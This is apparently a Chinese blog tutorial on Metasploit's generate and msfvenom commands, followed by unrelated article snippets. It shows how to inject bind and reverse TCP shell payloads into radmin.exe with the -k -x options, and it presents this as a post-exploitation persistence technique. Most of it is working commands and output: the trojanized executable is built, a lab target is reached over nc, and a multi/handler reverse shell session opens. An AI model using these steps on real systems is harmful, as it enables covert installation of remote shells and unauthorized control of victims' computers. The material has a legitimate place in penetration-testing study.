技术标签: 渗透
msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令,其功能基本相同,这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中,这项技能在实战中后渗透测试的可持久化中经常会被用到。
1、首先可以使用show payloads命令查看所有的payload,然后使用use命令选中其中一个。
msf5 > show payloads
Payloads
========
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline
1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline
2 aix/ppc/shell_interact manual No AIX execve Shell for inetd
3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline
...
...
559 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
560 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
561 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
2、使用generate -h查看命令帮助
msf5 payload(windows/shell_bind_tcp) > generate -h
Usage: generate [options]
Generates a payload. Datastore options may be supplied after normal options.
Example: generate -f python LHOST=127.0.0.1
OPTIONS:
-E Force encoding
-O <opt> Deprecated: alias for the '-o' option
-P <opt> Total desired payload size, auto-produce appropriate NOP sled length
-S <opt> The new section name to use when generating (large) Windows binaries
-b <opt> The list of characters to avoid example: '\x00\xff'
-e <opt> The encoder to use
-f <opt> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-h Show this message
-i <opt> The number of times to encode the payload
-k Preserve the template behavior and inject the payload as a new thread
-n <opt> Prepend a nopsled of [length] size on to the payload
-o <opt> The output file name (otherwise stdout)
-p <opt> The platform of the payload
-v Verbose output (display stage in addition to stager)
-x <opt> Specify a custom executable file to use as a template
generate常用选项解释:
-b 去掉坏字符,例如:-b ‘\x00\xff’
-e 设置编码方式,可以使用show encoders命令查看所有编码方式
-f 输出格式,不设置默认为ruby语言。例如-f c或-f exe
-i 设置编码次数,一般用作多次编码免杀
-k 保持源模版行为,并将payload作为一个线程注入到一个进程中,常和-x配合使用
-o 输出文件名
-x 定义一个文件作为模版
3、generate命令生成windows/shell_bind_tcp的payload,并注入到radmin程序中
msf5 payload(windows/shell_bind_tcp) > generate -k -x /usr/share/windows-binaries/radmin.exe -f exe -o rradin.exe
[*] Writing 1319424 bytes to rradin.exe...
4、生成payload,在靶机打开rradmin.exe后,指定的4444端口被打开,远程使用nc连接如下图
luredeMacBook-Pro:~ lure$ nc 10.10.10.166 4444
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ��
C:\Users\lovely\Desktop>whoami
whoami
lovely-pc\lovely
C:\Users\lovely\Desktop>
5、有坑注意。msf的payload中有windows/shell/bind_tcp和windows/shell_bind_tcp,其为两个作者所做,经过测试,在使用nc连接windows/shell/bind_tcp生成的payload时,会产生连接成功,但无返回数据的bug。
1、使用–list payloads选项查看所有payload
root@kali2020:~# msfvenom --list payloads
Framework Payloads (562 total) [--payload <value>]
==================================================
Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
......
2、使用–list-options查看可用参数
root@kali2020:~# msfvenom -p windows/shell_reverse_tcp --list-options
Options for payload/windows/shell_reverse_tcp:
=========================
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 324
Rank: Normal
Provided by:
vlad902 <[email protected]>
sf <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
3、使用msfvenom生成payload并注入到radmin进程中
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe
root@kali2020:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.136 LPORT=9876 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o r2admin.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 1319424 bytes
Saved as: r2admin.exe
4、靶机运行r2admin,并在攻击机用msfconsole接收反弹shell
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.10.136
lhost => 10.10.10.136
msf5 exploit(multi/handler) > set lport 9876
lport => 9876
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.10.136:9876
[*] Command shell session 1 opened (10.10.10.136:9876 -> 10.10.10.166:50097) at 2020-07-15 23:45:36 -0400
pwd
pwd
'pwd' �����ڲ����ⲿ���Ҳ���ǿ����еij���
�������ļ���
C:\Users\lovely\Desktop>whoami
whoami
lovely-pc\lovely
msfconsole下的generate与msfvomen命令实际是不同环境下的同一个命令,其功能基本相同,这里我们要学习的重点是使用-k -x 选项将payload注入到可以执行文件exe中,这项技能在实战中后渗透测试的可持久化中经常会被用到。
文章浏览阅读436次。1:开机自启动1.1 创建AndroidManifest.xml项目->构建->Build Android APK->Use Gradle->Create Templates->打钩Copy the Gra...->完成1.2 添加内容1.3 编译运行即可开机运行。2:开机黑屏处理一张logo页面运行2.1在工程目录下添加启动图片 Android/res/dra..._qt for android res
文章浏览阅读382次。金字塔压力-面积-位移图像识别 外接矩形绘制(wcy)#include "stdafx.h"#include <stdio.h>#include <stdlib.h>#include <opencv2/opencv.hpp>#include <opencv2/highgui/highgui.hpp>#include <opencv2..._ifwcy
文章浏览阅读687次。package com.dasenlin.baidu;import java.io.IOException;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtField;import javassist.CtMethod;import javassist.._javaassist用法classvisitor
文章浏览阅读229次。结构型模式——享元(Flyweight)目录结构型模式——享元(Flyweight)问题背景解决方案效果缺陷相关模式实现问题背景当使用大量细粒度对象,需要提高系统性能时,考虑使用享元。现在我们要为一个RPG游戏设计装备系统,首先根据需求提取出装备类的属性,可能包括:标识符、名称、描述、装备类型、初始属性取值集合、穿戴条件、属性集合、耐久上限、当前耐久、最高强化等级、强化等级……我们会发现这些...
文章浏览阅读388次。在iOS开发中,后台返回的数据大多是JSON格式,对应地会被网络框架层解析成Swift中的Dictionary、Array。由于数据类型的复杂、字段的繁多,直接使用Dictionary、Array会比较麻烦,比如items[0]["user"]["name"]这样的使用方式,非常不友善,而且没有智能语法提示。所以很多时候会考虑将JSON转换成Model之后再进行操作,会友善很多,比如i..._kakajson
文章浏览阅读591次。#include <stdio.h>#include <iostream>#include "Windows.h"#include "HCNetSDK.h"using namespace std;//时间解析宏定义#define GET_YEAR(_time_) (((_time_)>>26) + 2000) #define GET_MONTH(_time_) (((_time_)>>22) & 15)#defin._byalarmjsonpictureseparate
文章浏览阅读1.3k次。转载地址:https://blog.csdn.net/fight_onlyfor_you/article/details/740590291.编译最新的内核第一步 tar -xvf .........解压内核第二步 make ARCH=arm xxxx_deconfig第三步 make ARCH=arm CROSS_COMPILE2.如何编译设备树(DTS)d...
文章浏览阅读2.1k次。0:上传成功1:上传文件超出php配置max_upload_filesize限制2:上传文件超出html表单限制3:文件只有部分被上传 4:没有上传文件6:没有找不到临时文件夹 7:文件写入失败(可能是文件权限不足)8:php文件上传扩展file没有打开_php $_files error 5
文章浏览阅读223次。http://blog.csdn.net/u013258802/article/details/52959513_android手势锁频界面应用
文章浏览阅读601次。转载,学习下:2008/05/06 11:33其实原理很简单,只是在 http 请求中加一个文件的偏移量而已,当然这还需要 server 支持这个头才行。 手头上刚好有一篇这样的文档。 (一)断点续传的原理 其实断点续传的原理很简单,就是在Http的请求上和一般的下载有所不同而已。 打个比方,浏览器请求服务器上的一个文时,所发_java 断点为什么接口成功之后还会走
文章浏览阅读4.4k次,点赞8次,收藏3次。今天学习了测试驱动开发(TDD)模式,用这个方法写一个简单的前端登录功能(基于servlet&Jsp的登录功能-三层架构实现)不知道测试驱动开发,可以点这个:https://blog.csdn.net/qq_40542534/article/details/108473822编写service业务逻辑层的测试代码import org.junit.Test;public class UserServiceTest { //1、添加Junit测试 @Test pu_servlet测试登录
文章浏览阅读249次。根据云风博客的描述,Skynet的核心功能就是解决一个问题:把一个符合规范的C模块,从动态库(so文件)中启动起来,绑定一个永不重复(即使模块退出)的数字id做为其handle。模块被称为服务(Service),服务间可以自由发送消息。每个模块可以向 Skynet 框架注册一个callback函数,用来接收发给它的消息;每个服务都是被一个个消息包驱动,当没有包到来的时候,..._skynet skynet.db.mysql 插入数据成功判定